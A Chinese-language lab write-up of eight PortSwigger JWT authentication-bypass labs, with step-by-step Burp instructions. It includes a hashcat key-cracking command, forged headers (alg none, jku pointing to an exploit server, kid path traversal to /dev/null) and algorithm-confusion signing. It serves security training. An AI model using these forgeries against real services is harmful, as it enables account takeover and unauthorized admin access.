JWT认证漏洞攻防指南:8类漏洞利用与防御策略详解
通过Burp suite labs靶场来掌握JWT漏洞验证手法
Lab1: JWT authentication bypass via unverified signature
1.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。由于实现缺陷,服务器不会验证它收到的任何JWT的签名。
要解决实验室问题,请修改您的会话令牌以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter1.2、漏洞复现
访问环境之后,使用提供的用户登录。查看cookie为jwt格式

jwt token中存在sub字段对应用户名

winner用户无权限

更改sub=administrator,请求/admin成功

response中存在/admin/delete?username=carlos

请求该接口成功,302跳转

完成lab1

Lab2: JWT authentication bypass via flawed signature verification
2.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。服务器的配置不安全,无法接受未签名的JWT。
要解决实验室问题,请修改您的会话令牌以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter2.2、漏洞复现
在 Burp 中,转到Proxy > HTTP history选项卡并查看登录后GET /my-account请求。观察您的会话 cookie 是 JWT。

在 Burp Repeater 中,将路径更改为/admin并发送请求。观察发现,只有以administrator用户身份登录时才能访问管理面板。
修改sub=administrator,response为401

选中 JWT 的 header,然后使用 Inspector 将alg参数的值改为none。点击Apply changes
修改alg=none,response为401

删除签名,并保持后面.符号。执行修改后的jwt token,在response中发现/admin/delete?username=carlos接口

完成lab2漏洞复现
Lab3:JWT authentication bypass via weak signing key
3.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。它使用极弱的密钥对令牌进行签名和验证。这可以很容易地使用常见秘密的单词表进行暴力破解。
要解决这个问题,首先要暴力破解网站的密钥。一旦你获得了这个,用它来签署一个修改后的会话令牌,让你可以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter3.2、漏洞复现
访问环境,并登陆

使用lab2的方法访问admin接口失败

使用hashcat进行暴力破解秘钥
hashcat -a 0 -m 16500 "eyJraWQiOiIzNDA0ZmFhNS1iMzg3LTRlYmEtYWE2Ni0yMGRhOTU1M2I3OTEiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNzEwODA0NSwic3ViIjoid2llbmVyIn0.vNH3MearNJtLCYz5yKNmb4BUcdvPxQ2zKDFJpihKqXc" jwt_wordlist.txt
生成的新jwt token
eyJraWQiOiIzNDA0ZmFhNS1iMzg3LTRlYmEtYWE2Ni0yMGRhOTU1M2I3OTEiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNzEwODA0NSwic3ViIjoid2llbmVyIn0.vNH3MearNJtLCYz5yKNmb4BUcdvPxQ2zKDFJpihKqXc
将secret1进行base64加密,即c2VjcmV0MQ==

在 Burp 中,转到JWT 编辑器密钥选项卡,然后单击新建对称密钥。在对话框中,单击生成以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为这稍后会自动更新。

在有效载荷中,将声明的值更改sub为administrator
在选项卡的底部,单击Sign,然后选择您在上一节中生成的密钥

成功访问admin接口,并在其中找到/admin/delete?username=carlos

完成lab3

Lab4:JWT authentication bypass via jwk header injection
4.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。服务器支持JWT标头中的jwk参数。这有时用于将正确的验证密钥直接嵌入令牌中。但是,它无法检查提供的密钥是否来自可信来源。
要解决实验室问题,请修改并签署一份JWT,该JWT允许您访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter4.2、漏洞复现
登陆之后

访问admin,返回401
采用RSA算法

生成RSA

使用新生成的秘钥,修改sub

选择Embedded JWK攻击方法

访问成功

删除/admin/delete?username=carlos

完成lab4

Lab5、JWT authentication bypass via jku header injection
5.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。服务器支持JWT标头中的jku参数。但是,在获取密钥之前,它无法检查提供的URL是否属于受信任的域。
要解决这个问题,请创建一个JWT,让您可以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter5.2、漏洞复现
访问admin界面,返回401

生成RSA秘钥

在漏洞服务器上将body内容更改成以下内容:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "f515ef8f-bb1f-4d9b-9c29-7333710e4d49",
"n": "ne0EYuUzaOFDbY70FnVrlTMnteiLTvwUZKrBWUSvvTXbXFDxx-lnp62BfR1bLZYaeYCQkao7heHQ2LTWT_28ZXepn9la3Bfy9VljWEVwmkAaJAe0KICcmCucshwGcaOvq3DOLU7L9yCogW9MT7rYsLMCXZZ2bPluEJ1kK4oYVC_SX2_Nux8HesrX7SwRluLJvm8dTzl9Afzanc7pJPOOm2f4OSDGz6yjeTfqdgnYok2_WRrxGU32jnB_hLme1pDkq5eTrCMiDxDWWrglzePl30vh1N61uzVrSR9hM3mIlDZ0S0VfBHO_6D2qKu3hhkIhTMByzCfZ9FRLIC2vvVMhJw"
}
]
}
返回到 Burp Repeater 中的 GET /admin 请求,然后切换到扩展生成的 JSON Web 令牌消息编辑器选项卡
在 JWT 的标头中,将 kid 参数的当前值替换为您上传到漏洞利用服务器的 JWK kid

添加jku头,并设置jku等于poc地址,并设置sub=administrator。然后点击sign
//header
{
"kid": "f515ef8f-bb1f-4d9b-9c29-7333710e4d49",
"alg": "RS256",
"jku": "https://exploit-0af400c60331f4b683dc8b2301980085.exploit-server.net/exploit"
}
//body
{
"iss": "portswigger",
"exp": 1727834651,
"sub": "administrator"
}
sign选择如下:

替换cookie,进入管理员界面

完成Lab5

Lab6、JWT authentication bypass via kid header path traversal
6.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。为了验证签名,服务器使用JWT标头中的kid参数从其文件系统中获取相关密钥。
要解决这个问题,请创建一个JWT,让您可以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter6.2、漏洞复现
访问admin,返回401

转到Burp 主选项卡栏中的 JWT 编辑器密钥选项卡。
单击“新建对称密钥”。
在对话框中,单击“生成”以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为这稍后会自动更新。
将属性的生成值替换k为 Base64 编码的空字节 ( AA==)。请注意,这只是一种解决方法,因为 JWT 编辑器扩展不允许您使用空字符串对令牌进行签名。

返回GET /adminBurp Repeater 中的请求并切换到扩展生成的JSON Web Token消息编辑器选项卡。
在JWT的header中,将参数的值改为kid指向/dev/null文件的路径遍历序列:
../../../../../../../dev/null
在 JWT 有效负载中,将声明的值更改sub为administrator。
在选项卡的底部,单击“签名”,然后选择您在上一节中生成的对称密钥。
确保选中了“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用空字节作为密钥进行签名。
//header
{
"kid": "../../../../../../dev/null",
"alg": "HS256"
}
//body
{
"iss": "portswigger",
"exp": 1727838676,
"sub": "administrator"
}
修改后,访问admin界面成功

完成Lab6

Lab7、JWT authentication bypass via algorithm confusion
7.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。它使用一个强大的RSA密钥对来签名和验证令牌。然而,由于实现缺陷,这种机制容易受到算法混淆攻击。
要解决这个问题,首先需要获取服务器的公钥。这是通过标准端点公开的。使用此密钥对修改后的会话令牌进行签名,该令牌使您可以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter7.2、漏洞复现
访问admin,返回401

转到标准端点/jwks.json并观察服务器公开包含单个公钥的 JWK Set

在 Burp 中,转到Burp 主选项卡栏中的 JWT 编辑器密钥选项卡。
单击“新建 RSA 密钥”。
在对话框中,确保选择了JWK选项,然后粘贴刚刚复制的 JWK。单击“确定”保存密钥。

右键单击刚刚创建的密钥条目,然后选择“将公钥复制为 PEM”。
使用解码器选项卡对此 PEM 密钥进行 Base64 编码,然后复制生成的字符串

返回Burp 主选项卡栏中的 JWT Editor Keys选项卡。
单击“新建对称密钥”。在对话框中,单击“生成”以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为这稍后会自动更新。
将 k 属性的生成值替换为您刚刚创建的 Base64 编码的 PEM。

返回GET /adminBurp Repeater 中的请求并切换到扩展生成的JSON Web Token选项卡。
在 JWT 的标头中,将参数的值更改alg为HS256。
在有效载荷中,将声明的值更改sub为administrator。
在选项卡的底部,单击“签名”,然后选择您在上一节中生成的对称密钥。
确保选中了“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用服务器的公钥作为密钥进行签名。
//header
{
"kid": "c97a0686-7923-412a-b88d-ceb133737bb8",
"alg": "HS256"
}
//body
{
"iss": "portswigger",
"exp": 1727840053,
"sub": "administrator"
}
完成Lab7

Lab8、JWT authentication bypass via algorithm confusion with no exposed key
8.1、漏洞描述
该实验室使用基于JWT的机制来处理会话。它使用一个强大的RSA密钥对来签名和验证令牌。然而,由于实现缺陷,这种机制容易受到算法混淆攻击。
要解决这个问题,首先需要获取服务器的公钥。使用此密钥对修改后的会话令牌进行签名,该令牌使您可以访问/admin的管理面板,然后删除用户carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter8.2、漏洞靶场
在实验室中,登录自己的账户,并将登录后GET /my-account请求发送给 Burp Repeater。
在 Burp Repeater 中,将路径更改为/admin并发送请求。观察发现,只有以administrator用户身份登录时才能访问管理面板。
复制您的 JWT 会话 cookie 并将其保存到某处以供日后使用。
注销并重新登录。
复制新的 JWT 会话 cookie 并保存。现在您拥有服务器生成的两个有效 JWT。

保存的JWT
eyJraWQiOiJjNTk4N2I1Yy04MTVkLTQ4OGMtYjkwMy1jODM5YTgyODEyZDUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNzg0NjY3Niwic3ViIjoid2llbmVyIn0.AaZtiIIbUkelstEaanfp5WhAwt3xB0cmFAlIzYYT5G4aP7hx_eDKAvov1ebY4kHW_mtJaw_dXWr1YlIln_QVYVmxnX_V9AF6rBw3tnhqYd-PeEAnTLfS3VIrMJXXvU8hdlC_Rv4nRntqIZNv39msP-ZwFIe6wj-iyH2o3MzOhLSRKHPk2L1y9pOqpt4VxThwmGkd6Ou8UImQb1KdlSxt5FqAdZVdT6ySRDmGSVNfLFrL1L7U_h2vUIOUOSWXqcbPoYzzZJgK_RfOtGLfVoWUnCIeJPg84a4HVVr9RX3eaQPAdpf8J4t2JwNUL2qLriIIH4-5x_wm_270BYxGGR5k8geyJraWQiOiJjNTk4N2I1Yy04MTVkLTQ4OGMtYjkwMy1jODM5YTgyODEyZDUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNzg0Njc0NSwic3ViIjoid2llbmVyIn0.EqAYsTSt7B7x0iwykzKT1NPfjKAFMXM_QjC0hKlupK-1T6OkDOAGGOQUL3gD3WdjUe1yWf-233g3JMndDtXQvgHZETqEHY1W4cdcaeRyYR4OGupi2SPpbN3owzJf5nnBA8xRMyq97KwgXFkf14-91yNIQOqR0lpI0yvPuDOL7ihYp1XsYTy0zYQ6ttiTMNszWzsO2cjyAhIb46_dtTY0z0kiRUveQUcd9oaihxjGS_fFD33GHNLrzpWVAuhf9uJ0y-aLmHZD9b6_vxfrzWefdRIR8xrUn_7fIeK_i-M98x8X7DH7kZ9ABrlzOg48O4EnsGT9e89MbqDYkTKyPV4BNQ拉取docker镜像
参考

拉取不成功可修改/etc/docker/daemon.json文件
{
"max-concurrent-downloads": 10,
"max-concurrent-uploads": 5,
"default-shm-size": "1G",
"debug": true,
"experimental": false,
"registry-mirrors":[
"https://x9r52uz5.mirror.aliyuncs.com",
"https://dockerhub.icu",
"https://docker.chenby.cn",
"https://docker.1panel.live",
"https://docker.awsl9527.cn",
"https://docker.anyhub.us.kg",
"https://dhub.kubesre.xyz"
]
}在终端中,运行以下命令,并将两个 JWT 作为参数传递。
docker run --rm -it portswigger/sig2n <token1> <token2>


请注意,输出包含一个或多个计算值n。从数学角度来看,每个值都是可能的,但只有其中一个与服务器使用的值匹配。在每种情况下,输出还提供以下内容:
采用 X.509 和 PKCS1 格式的 Base64 编码公钥。
使用每个密钥对签名的被篡改的 JWT。
从第一个 X.509 条目复制被篡改的 JWT(可能只有一个)。
返回 Burp Repeater 中的请求并将路径改回/my-account。
用这个新的 JWT 替换会话 cookie,然后发送请求。
如果您收到 200 响应并成功访问您的帐户页面,那么这就是正确的 X.509 密钥。
如果您收到 302 响应,该响应会将您重定向到/login并删除您的会话 cookie,则这是错误的 X.509 密钥。在这种情况下,使用篡改的 JWT 对脚本输出的每个 X.509 密钥重复此步骤。
访问成功

从终端窗口复制您在上一节中确定为正确的 Base64 编码 X.509 密钥。请注意,您需要选择密钥,而不是您在上一节中使用的篡改的 JWT。
在 Burp 中,转到JWT 编辑器密钥选项卡,然后单击新建对称密钥。
在对话框中,单击“生成”以生成 JWK 格式的新密钥。
将属性的生成值替换k为您刚刚复制的 Base64 编码密钥。请注意,这应该是实际密钥,而不是您在上一节中使用的篡改的 JWT。
保存密钥。
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxSHFoUjU2ZW94Q2hwMFJtckxNdApBVW1DZS96V1Z2U1hKQUFKOUI1cnI1ckdRSlJlOVNhcFdhN3I0U2l5TGRlL0kwK0cvOHVTaUx5cTVVTmxTVWxSCjgxZkkxOG9NbWJhaUp0RGZHWkwvWlYwZzl0U1l6djhqR3FoTFhqYjBaa2xVWnhEaXNLTG53KzYyTmM0c0lGZEIKdzlMRDdHWi8yd2l3THhtUFI2TlUzcm1PK09KSGRlalhEWjg4THJqSnhTWUJYaDhBUUNTTGtBZEZxVUJSdE5YZApiN29GTjZib0o0REFnRTd0ZDhJcEJIejk1b0E4M3I2WFJHU01ieUpkb21FSEhKWmV4dVhRODQ1Y215Rm5mMGJ6CjdxMGQvUkJUMDRUWm8xUk9VaG05TXg5ZHZ3MG1BZnJuYktkeDAvWEdwTDhwazBqbFdiK2EzZlh1TFRmQ1YzSFkKclFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
返回 Burp Repeater 中的请求并将路径更改为/admin。
切换到扩展生成的JSON Web Token选项卡。
在 JWT 的标头中,确保alg参数设置为HS256。
在 JWT 有效负载中,将声明的值更改sub为administrator。
在选项卡的底部,单击“签名”,然后选择您在上一节中生成的对称密钥。
确保选中了“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用服务器的公钥作为密钥进行签名。
//header
{
"kid": "c5987b5c-815d-488c-b903-c839a82812d5",
"alg": "HS256"
}
//body
{"iss": "portswigger", "exp": 1727929731, "sub": "administrator"}
完成Lab8
